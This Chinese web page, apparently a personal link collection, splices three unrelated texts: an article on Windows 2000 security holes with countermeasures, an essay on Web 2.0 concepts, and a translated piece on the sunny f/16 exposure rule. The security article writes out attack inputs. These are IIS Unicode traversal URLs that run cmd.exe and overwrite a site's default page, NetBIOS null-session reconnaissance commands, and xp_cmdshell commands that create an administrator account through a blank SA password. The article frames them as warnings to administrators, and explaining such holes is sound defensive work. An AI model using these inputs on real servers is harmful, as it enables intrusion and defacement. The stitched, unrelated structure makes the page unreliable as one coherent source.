亮的MARK库

mark.liangliang.org.cn

对于Windows 2000的强大的功能和全新的构架我们都不得不叹服微软的实力,可以预见Windows 2000将成为新一代服务器操作系统的主流,同时也成为黑客攻击的对象。但是由于新的Windows2000的全新构架很大程度都依赖于Active Directory(又称之为AD),这使得许许多多的管理员在忙于适应新的操作系统,和对原来的资料进行系统的迁移,而对Windows 2000的安全性问题还没有引起足够重视。

本文详细介绍黑客在攻击Windows 2000系统时经常利用的一些漏洞和具体步骤以及应对策略,让网络系统管理员在维护系统时尽量做到有的放矢。有一句话非常有道理:“世界上没有绝对愚蠢的系统,只有绝对愚蠢的管理员。”只要我们的网络管理员能够细心地维护系统,相信黑客们是没有可乘之机的。

登陆输入法漏洞

这里我们首先介绍一个登录错误,也就是常说的输入法漏洞。当我们启动Windows2000进行到登录验证的提示界面时,任何用户都可以打开各种输入法的帮助栏,并且可以利用其中具有的一些功能访问文件系统,这也就是说我们可以绕过了Windows2000的用户登录验证机制,并且能以最高管理员权限访问整个系统。所以说这个漏洞的危害性是很大的,而且当我们进入系统后,还可以利用Terminal

Server远程通信这个漏洞对系统进行攻击。默认的Windows2000系统自带的输入法中有这个漏洞的是:智能ABC,微软拼音,内码,全拼,双拼,郑码。所以就我感觉而言这个漏洞是首要修补的漏洞。

1、把不需要的输入法删除掉,例如郑码等。

2、但是毕竟我们不能把所有的自带输入法都删除,如果我们要使用有漏洞的输入法也可以把那个输入法的帮助文件删除掉。这些帮助文件通常在win2000的安装目录下(如:C:\WINNT)的\help目录下,对应的帮助文件是:

※ WINIME.CHM 输入法操作指南 ※ WINSP.CHM 双拼输入法帮助 ※ WINZM.CHM 郑码输入法帮助 ※ WINPY.CHM 全拼输入法帮助 ※ WINGB.CHM 内码输入法帮助

3、微软公司对于此问题发布了MS00-069安全公告,并在互联网上给出了简体中文Windows2000和英文版Windows2000的补丁。所以请尽快打上补丁。

NetBIOS的信息泄漏

接下来我们谈一下NetBIOS的共享入侵.这个问题从NT刚发行到现在就从来没有解决。而且它一直由来都是NT系统构架最常见的入侵手段。特别值得一提的就是那个IPC$Null session(空会话)在NT系统里都是已知的安全隐患。虽然打了SP3后可以通过修改注册表来对其进行限制。但不知道为什么Windows2000还是原封不动地保留着这个空对话。那么就让我们来看看空会话能给入侵者带来什么样的信息:

net use \\server\IPC$ “” /user:”” //此命令用来建立一个空会话 net view \\server //此命令用来查看远程服务器的共享资源 服务器名称      注释 ——————————————————- \\pc1 \\pc2 命令成功完成。 net time \\server //此命令用来得到一个远程服务器的当前时间。 nbtstat -A server //此命令用来得到远程服务器的NetBIOS用户名字表 NetBIOS Remote Machine Name Table Name Type Status ——————————————— NULL <00> UNIQUE Registered NULL <20> UNIQUE Registered INTERNET <00> GROUP Registered XIXI <03> UNIQUE Registered INetServices <1C> GROUP Registered ISNULL…… <00> UNIQUE Registered INTERNET <1E> GROUP Registered ADMINISTATOR <03> UNIQUE Registered INTERNET <1D> UNIQUE Registered ..__MSBROWSE__.<01> GROUP Registered MAC Address = 00-54-4F-34-D8-80

看看,只不过用了几个系统自带的命令就得到了如此多的信息,那么我们有什么办法可以不让别人轻易得到这么多信息哪?

仅靠单纯的修改注册表是一劳永逸的。

HKEY-LOCAL_MACHINE\SYSTEM\CurrentControSet\Control\LSA Value Name: RestrictAnonymous Data Type: REG_DWORD Value: 1

但如果一些服务你并不需要开放共享的话。那为什么不禁止它呢?在Windows2000里的方法和NT4的略有不同。它没有限制TCP/IP绑定在NetBISO上,但是我们可以在Internet协议(TCP/IP)属性的设置面板里选取高级(V)选项,然后选择TCP/IP 筛选,接着点选启用TCP/IP筛选,最后在TCP端口点选只允许,然后就可以添加你所想开放的服务的端口了。

奇怪的系统崩溃特性

此外Windows 2000有一个比较奇怪的特性,使用系统的终端用户可以通过按住右Ctrl,同时Press两次Scrool Lock按键,就轻易可以让整个Windows2000系统完全的崩溃。但同时又在C:\WinNT\下dump完整的当前系统内存记录,内存记录文件名是memory.dmp。当然,这个奇怪的特性默认状态下是关闭的,但是我们可以通过修改注册表的方法把它激活:

1、运行regedt32.exe (Windows2000的32位注册表编辑器);

2、选择主键HKEY_LOCAL_MACHINE\,然后找到SYSTEM\下的CurrentControlSet\,选择Services\,进入i8042prt\中的Parameters

3、新建一个双字节值;

4、将键名为CrashOnCtrlScroll;

5、然后在设置一个不为零的值;

6、退出重启。

当这一切做完后,你就可以尝试让系统崩溃了,按下按键后的效果为黑屏,将会出现以下信息:

*** STOP: 0x000000E2 (0x00000000,0x00000000,0x00000000,0x00000000) The end-user manually generated the crashdump.

值得注意的是,这个奇怪的特性在WindowsNT4中也存在,不知道是不是微软程序员作测试的一个小功能。不过要是有黑客或者病毒利用它,也是很危险的。

Telnet的拒绝服务攻击

Windows中的Telnet一直以来都是网络管理员们最喜爱的网络实用工具之一,但是一个新的漏洞表明,在Windows2000中Telnet在守护其进程时,在已经被初始化的会话还未被复位的情况下很容易受到一种普通的拒绝服务攻击。而在2000年的2月份,拒绝服务攻击几乎成为了所有大型网站的恶梦。

Telnet连接后,在初始化的对话还未被复位的情况下,在一定的时间间隔之后,此时如果连接用户还没有提供登录的用户名及密码,Telnet的对话将会超时。直到用户输入一个字符之后连接才会被复位。如果恶意用户连接到Windows2000的Telnet守护进程中,并且对该连接不进行复位的话,他就可以有效地拒绝其他的任何用户连接该Telnet服务器,主要是因为此时Telnet的客户连接数的最大值是1。在此期间任何其他试图连接该Telnet服务器的用户都将会收到如下错误信息:

Microsoft Windows Workstation allows only 1 Telnet Client LicenseServer has closed connection

察看“列出当前用户”选项时并不会显示超时的会话,因为该会话还没有成功地通过认证。

IIS服务泄漏文件内容

这是一个NSFOCUS安全小组发现的漏洞。当微软IIS 4.0/5.0(远东地区版本)在处理包含有不完整的双字节编码字符的HTTP命令请求时,会导致WEB目录下的文件内容被泄漏给远程攻击者。

Microsoft IIS远东地区版本包括中文(简体/繁体),日文,韩文版,由于特定的文字格式使它们都是使用的双字节编码格式。而当IIS接收到用户提交的一个HTTP请求时,如果文件名中包含非ASCII字符,IIS会检查这个字符是否为双字节编码中的前导字符(例如,日文的前导字符包含两段字符:0x81-0x9F, 0xE0-0xFC)。如果是前导字符,它会继续检查下一个字符是否为结尾字符。如果没有下一个字符,IIS会简单地丢弃这个前导字符,因为它并没有构成一个完整的双字节编码。然而,这种处理将导致IIS打开不同的文件而不是用户在请求中指定的文件。

攻击者通过提交一个特殊格式的URL, 可以使IIS使用某个ISAPI动态链接库打开某种它所不能解释的类型的文件,并获得该文件的内容。依赖于系统安装的ISAPI应用程序的类型,攻击者可能获得WEB根目录或者虚拟目录下的文件内容,这些文件可以是普通文本文件(.asp, .ini, .asa等等),也可以是二进制文件(.exe等等)。

黑客们会使用Unicode的方法利用这个漏洞:

Unicode(统一的字符编码标准, 采用双字节对字符进行编码)可以说是近一段时期以来最为流行的攻击入侵手段,仅国内近期就有江民公司等几个大的网站被这种入侵手段攻击。那我们就来谈一下这个很容易的利用Unicode漏洞配合IIS的漏洞进行入侵吧。

上面我们提到过由于某些双字节的Windows2000在处理某些特殊字符时与英文版本不同,然而利用这种IIS的漏洞,攻击者就可以通过这些特殊字符绕过IIS的目录审计远程执行任意命令。

http://server/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\\

黑客们其实只要下面两句很简单的指令绕过IIS的审计就能够对网站的页面进行改写,所谓的黑了一个网站就是这么的简单。

http://server/scripts/..%c1%1c.. … /cmd.exe?/c+copy+c:\winnt\system32 \cmd.exe+d:\inetpub\scripts\123.exe http://server/scripts/123.exe?/c+echo+黑掉啦?+>+c:\\inetpub\\wwwroot\\default.asp

这个问题已经在IIS 4.0 + SP6中得到解决,然而微软却让它在IIS 5.0中再度出现。

但该漏洞不会影响包括英语版在内的其他语言版本的IIS 4.0/5.0。

MS SQL Server的SA空密码攻击

在Windows2000中,企业级的用户一般都会用到另一个微软的产品,这个产品就是数据库管理软件 MS SQL Server,但是在与MS SQL Server配合使用中,我们发现了很多的问题。最后我们就简单讲一下安装了MS SQL Server的Windows2000的网络操作系统普遍面临的安全问题。

在安装MS SQL Server后,MS SQL Server会将产生一个默认的SA用户,而且初始密码在管理员没有设置的情况下为空。但是SA是SQL Server中非常重要的安全模块成员,这样一来黑客们就可以通过SQL Server的客户端进行数据库远程连接,然后再通过SQL的远程数据库管理命令xp_cmdshell stored procedure(扩展存储过程)来进行命令操作:

xp_cmdshell “net user id password /add” Xp_cmdshell “net localgroup Administrators id /add”

就以上两条简单的命令入侵者就能在MS SQL Server的服务器上马上新建一个管理员级别的Administrators组的用户。所以我们这里提醒各位网管大人,在安装好SQL Server您需要做的第一件事就是把SA的空密码立即进行修改。这个问题就不要我告诉你应该在哪里改了吧?

而且在一般情况下,一些功能对管理员来说也是没有必要的。如果你不需要MS SQL Server 的xp_cmdshell(use sp_dropextendedproc “xp_cmdshell”)这项功能就不要把xp_cmdshell extended stored proc(扩展存储过程)命令功能留着。

我们只需要在isql窗口中输入:

use master sp_dropextendedproc ‘xp_cmdshell’

然后打上Service Pack 3,这里提醒管理员们一下,一定要经常留意微软的补丁包文件,并且注意及时的把系统和软件更新到最新的补丁。

本文中我们讲述了几个近期来最为流行的漏洞和攻击方法,他们实现入侵是如此的方便,这里可有不少的网友会认为Windows2000是一个不安全的操作系统,但如果你这样的认为那就说明我的文章还没有写明白,所以在最后我要强调一下,只要我们常打补丁包,正确的给系统加设密码,我们的安全率就在85%左右。

Web2.0是以Flickr、43Things.com等网站为代表,以Blog、TAG、SNS、RSS、wiki等社会软件的应用为核心,依据六度分隔、xml、ajax等新理论和技术实现的互联网新一代模式。”

Blog——博客/网志:Blog的全名应该是Web log,后来缩写为Blog。Blog是一个易于使用的网站,您可以在其中迅速发布想法、与他人交流以及从事其他活动。所有这一切都是免费的。

RSS——站点摘要:RSS是站点用来和其他站点之间共享内容的一种简易方式(也叫聚合内容)的技术。最初源自浏览器“新闻频道”的技术,现在通常被用于新闻和其他按顺序排列的网站,例如Blog。

WIKI——百科全书:Wiki–一种多人协作的写作工具。Wiki站点可以有多人(甚至任何访问者)维护,每个人都可以发表自己的意见,或者对共同的主题进行扩展或者探讨。

Wiki指一种超文本系统。这种超文本系统支持面向社群的协作式写作,同时也包括一组支持这种写作的辅助工具。

网摘:“网摘”又名“网页书签”,起源于一家叫做Del.icio.us的美国网站自2003年开始提供的一项叫做“社会化书签”(Social Bookmarks)的网络服务,网友们称之为“美味书签”(Delicious在英文中的意思就是“美味的;有趣的”)。

SNS——社会网络:Social Network Sofwaret,社会性网络软件,依据六度理论,以认识朋友的朋友为基础,扩展自己的人脉。

P2P——对等联网:P2P是peer-to-peer的缩写,peer在英语里有“(地位、能力等)同等者”、“同事”和“伙伴”等意义。这样一来,P2P也就可以理解为“伙伴对伙伴”、“点对点”的意思,或称为对等联网。目前人们认为其在加强网络上人的交流、文件交换、分布计算等方面大有前途。

IM——即时通讯:即时通讯(Instant Messenger,简称IM)软件可以说是目前我国上网用户使用率最高的软件。聊天一直是网民们上网的主要活动之一,网上聊天的主要工具已经从初期的聊天室、论坛变为以MSN、QQ为代表的即时通讯软件。

RSS为Really Simple Syndication(简易供稿)的缩写,是某一站点用来和其它站点之间共享内容的一种简易方式,也叫聚合内容。网络用户可以在客户端借助于支持RSS的新闻聚合工具软件(例如SharpReader NewzCrawler、FeedDemon RSSReader),在不打开网站内容页面的情况下阅读支持RSS输出的网站内容。可见,网站提供RSS输出,有利于让用户发现网站内容的更新。在高速高质高效成为主流呼声的互联网时代,RSS无疑推动了网上信息的传播,提出了另一种看世界的方式。

RSS,原意是把网站内容如标题、链接、部分内文甚至全文转换为可延伸标示语言(XML:eXtensible Markup Language)的格式,以向其它网站供稿,使用者可以用一般的浏览器观看,也可以用特殊的“阅读器”软件来阅读。

-———————————————————————————————-

历史很重要。对一个技术的学习也应当从历史出发,通过其在时间形成历史的流变,得以知晓现状,甚至能够预知未来。

那Web1.0是什么呢?

他们说,记得静态HTML的WWW时代么?

(那个时代的WWW应用、人们的Web体验、对社会的影响如何?)

那么动态HTML和静态HTML下的Web相比,是多少版本?1.5?对了,他们是真这么叫的。

(在效果和影响上,与1.0相比,扩展和加深多少?)

要呈现的数据存储在数据库中,通过Web服务端的程序,应用户的请求,取出数据,加上事先设计的模板,动态的生成Html代码,发送到用户的浏览器那里。

他是1.0系列,应为用户在浏览器中所见和Web1.0一样,它有0.5的升级,因为数据不是事先制作并发布,而是动态生成,和用户的需要交互生成。

那好,再加0.5,到Web2.0,变化是在哪里呢?

(看到了正在崛起的和改变的,会继续朝着什么方向改变互联网和社会呢?)

更新:关于各个版本的差别,看看亚马逊的例子。

事情没有那么幸运,Web2.0并不是一个具体的事物,而是一个阶段,是促成这个阶段的各种技术和相关的产品服务的一个称呼。所以,我们无法说,Web2.0是什么,但是可以说,那些是Web2.0。

WikiPedia的Web2.0条目下列出了这些条件:

*CSS和语义相关的XHTML标记

*AJAX技术

*SyndicationofdatainRSS/ATOM

*AggregationofRSS/ATOMdata

*简洁而有意义的URLs

*支持发布为weblog

*RESTian(preferred)或者XMLWebserviceAPIs

*一些社会性网络元素

必须具备的要素有:

*网站应该能够让用户把数据在网站系统内外倒腾。

*用户在网站系统内拥有自己的数据

*完全基于Web,所有的功能都能透过浏览器完成。

(以上内容引用自英文版维基百科)

虽然这只是一家之言,不过,对于其中谈到的几个要素,大家还是公认的。

-基于RSS/ATOM/RDF/FOAF等XML数据的同步、聚合和迁移。

数据不再和页面和网站混粘在一起,它独立了,它跟着用户走。这是Web2.0的很重要特征。这也是为什么Blog是Web2.0的代表的原因。在网志上,常主角的是相互独立的一则则的网志。

独立,然后有物理表现。现在,就能让他们活跃起来。透过对XML数据的处理,这些内容能被自由的组合,被各种应用程序,不论是Web程序还是桌面程序等呈现和处理。

当然,最重要的是背后的人。

-社会性因素。

内容跟着人走,内容又能够被用户自由的组合,也就是说,用户能够自由的借助内容媒介,创建起一个个的社群,发生各种社会性的(网络)行为。

此外还有标签以及建立在开放标签系统之上的Folksonomy。

-第三个公认的因素是开放API,

这个技术性稍强些,得另花时间研习,可以先看看例子:amazon、flickr、googlemap等。

从Web应用的产品/服务生产者角度来说,该如何创建Web2.0的产品呢?

重要的是要抓住这么几点,一个是微内容(这里有定义),一个是用户个体。除了这两个最基本的之外,还可以考虑社群内的分享以及提供API。

(cnbruce收藏的一些API内容:http://www.cnbruce.com/blog/showlog.asp?cat_id=34&log_id=709

微内容:英文是microcontent。用户所生产的任何数据都算是微内容,比如一则网志,评论,图片,收藏的书签,喜好的音乐列表、想要做的事情,想要去的地方、新的朋友等等。这些微内容,充斥着我们的生活、工作和学习,它的数量、重要性,还有我们对它的依赖,并不亚于那些道貌岸然、西装革履的正统文章、论文、书籍。

对微内容的重新发现和利用,是互联网所开创的平等、民主、自由风气的自然衍生,也是互联网相关技术消减信息管理成本之后的一个成果。

我们每天都生产众多的微内容,也消费着同样多的微内容。对于Web2.0来说,如何帮助用户管理、维护、存储、分享、转移微内容,就成了关键。

用户个体。对于Web1.0的典型产品/服务来说,用户没有具体的面貌、个性,它只是一个模糊的群体的代名词而已。但是对于Web2.0的产品和服务来说,用户是个实实在在的人。Web2.0所服务的,是具体的人,而不是一个如同幽灵般的概念。并且,这个人的具体性,会因为服务本身而不断地充实起来。

如何为这个具体的个体服务,是Web2.0设计的起点。

因此,一类可以被称作Web2.0的产品/服务将是这样:

服务于用户个体的微内容的收集、创建、发布、管理、分享、合作、维护等的平台。

其他的呢?恐怕就设计到好些人提到的,微内容的XML表现;微内容的聚合;微内容的迁移;社会性关系的维护;界面的易用性等等。

以及是否就是开源、参与、个人价值、草根、合作等等?

Web2.0是许多方面起头并进又相互牵连的一个新的阶段的到来。因此,不同的人,有着不同的看法。那么,对于Web开发人员来说,Web2.0意味着什么呢?

他们说Web2.0阶段,Web是一个平台,或者说,Web正在变得可编程,可以执行的Web应用。野心家们设想这个它的终极目标是WebOS。

Web1.0时候,Web只是一个针对人的阅读的发布平台,Web由一个个的超文本链接而成。现在的趋势发生了变化,Web不仅仅是Html文档的天下,它成了交互的场所。

Web2.0Conference网站的横幅引用JeffBezos的话说“Web1.0ismakingtheinternetforpeople,web2.0ismakingtheinternetbetterforcomputers”。

具体来讲,他们说Web成为一个开发环境,借助Web服务提供的编程接口,网站成了软件构件。

这些,就是WebService的目标吧,信息孤岛通过这些WebService的对话,能够被自由构建成适合不同应用的建筑来。

一些例子:del.icio.us、flickr、a9、amazon、yahoo、google、msn等提供的编程接口衍生出的各种应用。

为什么要开放APIs,这涉及到集市中的商业方面的技术策略。当然,还有更深层的原因,那是什么呢?

这种交互不仅体现在不同的网站服务之间,同时还体现在用户和Web之间在浏览器上的交互。这也是为什么在美味书签的收藏中Web2.0和AJAX如此相关的一个原因。

在Web页面上使用桌面程序有的那些便利,真的是很享受的事情。这恐怕也是Web可编程的一个方面,Web页面不再是标记和内容混合那样的简单,它就是一个可以编程的地方(是这样理解吧?)

有人反对说,AJAX的使用对搜索引擎不友好,只有Web1.0的站长才关心这个事情吧,在Web2.0时候,站长应该关心的是用户参与的便利、用户的自由度,至于搜索,有RSS/ATOM/RDF等,更本用不着操心,Google不是已经顺应这个趋势,让大家主动提交了么?

可编程的第三个方面,是否在于Web应用和桌面应用之间的无缝连接趋势的出现?类似这里说的“从工具上,是由互联网浏览器向各类浏览器、rss阅读器等内容发展”

编程的一个重要目的是对数据的操作,因此,对于网站来说,除了WebService接口之外,最近为简便方式就是将内容以RSS/RDF/ATOM格式,或者有意义的XHTML格式输出,同时实现内容和表现的分离。

[Web2.0是个历史学的概念,而非是个技术性的概念,它是对Web发展历史断代的成果。对这个概念的梳理,能帮助我更好的把握互联网正在发生的技术与文化。]

-————————————————————– 中文网志圈谈论的Web2.0内容摘要:

-“Web2.0是用来研究现象、发现规律的东西,不是用来招商引资、搭台唱戏的东西。当越来越多的互联网应用采取与用户互动的方式,越来越多的内容是由用户产生,越来越多的用户参与到互联网创造的过程中的时候,其实它代表了一种新的思潮。在这种思潮之下,一些新的技术开始出现,一些古老技术重新焕发了生机。随便你怎么表述这样一种现象,但现象本身是实实在在存在的,不管是叫它Web2.0,还是社会化互联网。”[Keso:老冒给Web2.0浇了一桶冷水]

-“我觉得最有价值的一个是,web应用的数据格式开始逐渐出现了交换“标准”…这些标准…更加容易被机器自动化处理…能帮助人更好地过滤和定制化信息。其次,更多的服务将以webservice的形式来提供,…这使得web服务可以被互相集成,从而诞生更多新的服务…人的重要性被提高了。过去web更多注重在信息提供,而现在的越来越多的应用更加关注人,也就是所谓“社会性”。此外web的可用性改进正在被越来越重视…”[老冒:朝web2.0泼点冷水]

-“我认为Webx.x是人们为了区别不同时代Web的发展而使用的,而这些概念也是经过归纳出来的结果。抓住对方向,如Wikipedia中所提到的朝向互动及社会网络的方向发展,不论应用何种技术,只要能达到目的都是很好的。甚至作为一般的使用者,都可以不去理会Webx.x的讨论,因为我们都已经在使用这些技术或网站了。”[图书馆观点:Web2.0]

-“RSS逐渐成为在线内容提供服务的标准发行平台。Blog以及user-generated内容的兴起。MyYahoo提供的RSS整合型服务。同时提出了值得密切关注的一些发展中领域,其中包括搜索技术,个性化,User-Generated内容(包括blog,评论,图像和声音),音乐,短视频和Accessibility(易访问性)”[Owen:MaryMeeker新作-关于DigitalWorld的发展报告的摘取]

-“我们谈论的Web2.0带给我们的是一种可读写的网络,这种可读写的网络表现于用户是一种双通道的交流模式,也就是说网页与用户之间的互动关系由传统的“Push”模式演变成双向交流的“Two-WayCommunication”的模式。而对于Web服务的开发者来说,Web2.0带来的理念是服务的亲和力,可操作性,用户体验以及可用性。”[Owen:BaCKpACK-体验可读写的Web服务]

-“web2.0是一种可以被分发的信息概述,web文档被格式化成了web数据。我们不会再看到不同旧地信息,现在我们所注意到是一种聚合、再混合内容的工具。”[songzhen:也说Web2.0的翻译]

-“从这些应用中可以看到:如果基于传统的HTML,同样的功能实现将变得非常复杂和不稳定,数据的再生产和交换成本是很高的。所以:RSS这个标准最终要的贡献就是使得互联网的大部分网站变得可编程:类似的例子还有Blog中的:TrackBackPing等机制,这些机制都是依赖XML/RPC实现的。当初为Lucene设计一个RSS/XML的接口也是为了这个初衷,它使得全文检索服务可以轻松的嵌入到各种应用中,通过关键词将各种内容之间实现更丰富的关联(WellReferenced)。”[车东:RSS,简单协议使得互联网可编程]

-“聚合的可能性以及如何更好地聚合(通常来说,更好的聚合应该基于个人知识管理和人际关系管理)很显然应该成为新一代或者说web2.0架构的核心之一。还有,你会重新发现,恰好是分散带动了聚合,聚合促进了分散,通过聚合的思维,互联网的网络状变得越来越丰富和密集,web2.0就变得越来越有趣味,它将web1.0时代的硕大节点即门户网站不断消解,去努力创造一个更加和谐的自然网络图谱。”[Horse:rss,聚合的无数可能]

-“新的web2.0网站都依赖于用户参与、用户主导、用户建设”。[Horse:Web2.0这个词]

-Keso:Web1.0与Web2.0的区别

-“表面上看,Bloglines取代了门户,成为一个新的中心,但这里有一个重大的区别。门户是只读的,它带有某种锁定的性质。你可以离开门户,但你无法带走门户的内容。Bloglines则完全不同,你觉得它好用,就会继续使用,有一天你不再喜欢Bloglines,你完全可以导出你的OPML,到另一个RSS订阅网站,或者干脆用客户端软件浏览同样的内容。所以,像Bloglines这样的网站,是可写的,你可以导入,也可以导出。就像你对信息拥有选择权,对服务提供商也同样拥有选择权,没有人可以锁定你,主动权在你自己手上。”[Keso:再说信息选择权]

-“Flickr、del.icio.us、Bloglines等Web2.0服务,通过开放API获得了很多有趣、有用的想法,并借助外部的力量,让用户获得了更好的体验。更多大公司也加入到开放API的潮流中,Google、Yahoo!、Amazon、Skype。Google桌面搜索今年3月才开放API,很快就产生了大量的创造,大大扩充了可搜索的文件格式。”[Keso:开放API]

-“归纳:web1.0天天谈门户,web2.0谈个人化;web1.0谈内容,web2.0谈应用;web1.0商业模式,web2.0谈服务;web1.0谈密闭、大而全,web2.0大家谈开放、谈联合;web1.0网站中心化,web2.0谈个人中心化;web1.0一对一,web2.0谈社会性网络;web1.0不知道你是狗,web2.0你去年夏天干了什么我一清二楚甚至想要干什么呢。。。”[van_wuchanghua:发现了N.HOOLYWOOD,我还知道你今年夏天要干什么]

-“我认为Web2.0有下面几个方面的特性:个性化的传播方式.读与写并存的表达方式.社会化的联合方式.标准化的创作方式.便捷化的体验方式.高密度的媒体方式.”[飞戈:Web2.0与未来的网络]

-“用RAILS写的网站带有典型的读写网络的特征:RAILS创建的三个架构中的ACTIVERECORD这个模块中,如果你读读它最重要的基类ActiveRecord::Base,你会发现有CREAT,EDIT,SAVE,DESTROY这些方法已经天然包含在内了,这让实现一个数据库的CRUDS行为变得如此简单。由于这些类的方法直接和网页的名称映射到一起,这使得网页本身就像一个可以编缉的数据库的数据项。”[Blogdriver:RUBYONRAILS,wEB2.0世界新生的创造力]

-“Greasemonkey一定名列前茅。这个通过UserScript就能修改任何网页输出效果的插件极大的提高了用户阅读的自主性,一推出就引起了轰动,同时也引来了不少争议。”[Webleon:platypus,完全可写的互联网]

-“Web1.0到Web2.0的转变,具体的说,从模式上是单纯的“读”向“写”、“共同建设”发展;从基本构成单元上,是由“网页”向“发表/记录的信息”发展;从工具上,是由互联网浏览器向各类浏览器、rss阅读器等内容发展;运行机制上,由“ClientServer”向“WebServices”转变;作者由程序员等专业人士向全部普通用户发展;应用上由初级的“滑稽”的应用向全面大量应用发展。”[Don:Web2.0概念阐释]

Web2.0阶段的一个重要特征是开放,和Web初期的开放有很大不同,有以下几种突出的表现:

内容方面。

-内容的创作共用授权。它的广谱和可选择性,让它具有了足够的生命力。CC先是在网志圈中广泛采用,后来许多商业公司也纷纷采用CC方式(比如BBC);先是文本世界采用,后来逐渐推广到了多媒体世界,比如音频、视频、Flash动画等等。一场自由的文化(freeculture)运动在各个方面悄然铺开。

-内容来源方面的开放。和早期的Web阶段相比,由于使用相关设备的成本降低,利用相关技术的门槛减低,人们可以自由生产并发布各种内容,比如文本信息,比如语音记录,比如视频录制等。信息的生产和传播不再仅仅是商业资本或者技术精英的特权。在Web的新阶段,原来在商业、技术与大众之间的信息生产和传播的落差被削平。消除信息垄断和去中心化已经成为可能。不仅如此,信息的生产和消费的模式也发生了变化,从原来的生产/消费的对立,变成了参与式的信息集市。

Web主体方面。

-商业网站也渐渐采取了开放的、参与的模式。除了内容上的CC授权出现之外。原来并不外露的内容,也随着blog、podcasting等的兴盛而对外开放。一些网站还在技术层面开放,比如开放源代码,比如开放APIs(编程接口),让自己成为一个平台,让用户可以参与衍生产品的创造,用户本身也是产品的生产者。不仅是内容、技术层面,在鼓励用户的参与上,也有相应的开放出现,比如一些新闻网站的RSS源的输出、引用通告(trackback)功能的采纳、blogthis便利的提供,无一不是让用户参与到内容生产、传播的各个环节。

-个人信息层面的开放。有开放,才有交流,才有社会行为和形态产生。个人内容的开放是与一类Web2.0服务的兴起有关。它涵盖了内容(文本、声音、影像、视频)、关系、行为等等。

内置在相机里通过镜头进行测光(TTL:through-the-lens)的测光表使我们进行的摄影工作简化了很多。实际上,我们非常依赖于这种测光表,如果没有它,当各种事物出现在我们的镜头前时,我们会感觉到有些迷失方向或混乱。我知道,有一些摄影师可以凭经验比较准确的估算出正确的曝光参数,他们也为他们的这个能力而自豪,但我不是这种人。

然而,在一种情况下,正确的曝光参数是一个不变的常数,那就是当你在明媚的阳光下进行摄影的时候。在这种情况下为了得到正确的曝光值,你应该遵循我们称之为“晴天f/16”法则的一些规则:在明亮的太阳光底下(高空无云,没有薄雾,没有空气污染),大概从日出以后的几个小时开始直到接近日落前的几个小时,对正面光照的被摄物体的正确曝光值近似接近于,用底片ISO做为快门速度,同时把光圈设置为f/16时的曝光量,或者是其他任何等同的曝光参数。呵呵,这样说有点太空洞了,让我们来更深入的研究一些这些规则。

首先,“晴天f/16”仅适用于明亮的、直射的太阳光线,而不适合凌晨或黎明的太阳光,也不适合薄雾或阴天的光线。而且这个法则也不适合在北美地区深冬时使用,因为这时的太阳离地平线很近,光线很低。“晴天f/16”也不适合拍微距,因为许多镜头在近距离对焦时有效光圈的大小都会发生改变。理论上,光圈f值只在无限远处是准确的,相同光圈下,当焦点移近时,焦点处进入镜头的光线也会减少。不过通常不用担心这个问题,因为你的TTL测光表已经把这个变化计算进去了。但是,“晴天f/16”法则是不用测光表时的曝光值,所以当这些条件变化时,这个法则就不灵了。而且这个法则只适合应用于正面光照的被摄物体(太阳光从高于你的肩的高度直接照射到被摄物体上)。所以,在夏天的正午,此时太阳是从头顶直射下来的,只有当你想从上往下拍摄你的双脚时,才可以应用“晴天f/16”法则。如果你想在此时象往常一样拍摄,那你就需要修改“晴天f/16”法则的参数以适应侧面光照的曝光需要,后面我将简短的介绍如何进行修正。

还有,这个法则只对均匀(average)色调的被摄对象有效,太亮或太暗物体都会出问题。其实大多数被摄物的色调都是很均匀的,用摄影师的话说,都是“中间的”(middletoned)。我个人不大喜欢“中间的”这个说法,因为当我们讨论色调时,有太多的摄影师使用“中间灰”(middletone gray)这个词,但我们并不是在讨论黑白摄影。因此我用“中等的”(medium)这个词来代替。这样就可以说“中等绿”、“中等红”、“中等蓝”等等。(译注:这几个词:average,middletone,medium实在把偶搞的一头雾水,不知道怎么翻比较合适,其实表达的应该就是18%灰的概念)

别忘记的是,当使用“晴天f/16”法则时,不是一定要使用ISO值做为快门速度和f/16,还可以是用其他等效的曝光参数进行曝光。而且这个法则中没有提到使用的地点。我就曾被人问过在山顶是否可以使用“晴天f/16”法则。答案是肯定的,因为太阳离我们有93,000,000英里远,我不认为当我们走近太阳10,000和12,000英尺时,会对“晴天f/16”法则有多么大的影响。

现在让我们假设用的是ISO100的底片,使用“晴天f/16”法则,正常条件下的曝光参数是1/125秒和f/16或其他等效的值。在明媚的阳光下,没必要只使用1/125秒和f/16,还可以使用1/250秒f/11,1/500秒f/8,1/1000秒f/5.6或1/2000秒f/4。使用慢速的快门速度,可以使用1/60秒f/22或1/30秒f/32进行拍摄。这些曝光参数都可以让相同数量的光线到达底片。如果使用ISO400的底片,那就要从1/400秒f/16开始,如果使用ISO25的底片,那就是1/25秒f16,……等等。

相同的曝光意味着有相同数量的光线照射到底片上,所以可以根据拍摄环境的需要使用不同的曝光参数实现相同的曝光。你是否需要使用高速快门捕捉瞬间动作?或者需要小光圈来实现比较大的景深?如果你正在用ISO50的底片拍摄一只奔跑的鹿,你还会使用1/50秒f/16的参数吗?在你不假思索的说“不”之前,请先仔细思考一下。在那种情形下真的只有一种曝光组合是正确的吗?难道你不喜欢用模糊的画面来体现运动的感觉吗?在任何情形下,光圈和快门组合的正确与否决定于你希望拍出什么样的照片。曝光是否正确完全由你自己决定。

在大多数情况下,当你拍摄野生动物时,你会用你最长的镜头,并且更多的时候是调整合适的快门速度以便捕捉瞬间的画面。但是从f/16开始,计算光圈应该开大几挡以配合快门速度才合适是很费时的,不过有一个更简单的方法。等同于“晴天f/16”法则,可以使用我称之为“快速f/5.6”的法则来实现和“晴天f/16”相同的曝光量:把你使用的底片的ISO值后面加一个零作为快门速度,光圈使用f/5.6。例如使用ISO100的底片,“晴天f/16”使用1/125秒f16,“快速f/5.6”使用1/1000秒f/5.6。它们是一样的吗?通过换算,会发现它们有相同的曝光量。在拍摄动物时,这个方法用起来很方便,因为可以少计算很多数,而通常这时候你用的光圈也都在f/5.6附近。

顺便说一句,不知道你是否还记得,这个估计的曝光值是针对正面光照的被摄物体的。对于侧面光照的物体,应该比基本的曝光值开大一挡;对于背面光照的物体(逆光)应该开大两挡;对于整个画面构图中都是颜色很浅的物体,应该缩小一挡;对于颜色很深的应该开大一挡。不过要记住,这些估计的曝光值只在没有测光表的情况下使用,它们不适用于使用TTL测光表的时候。

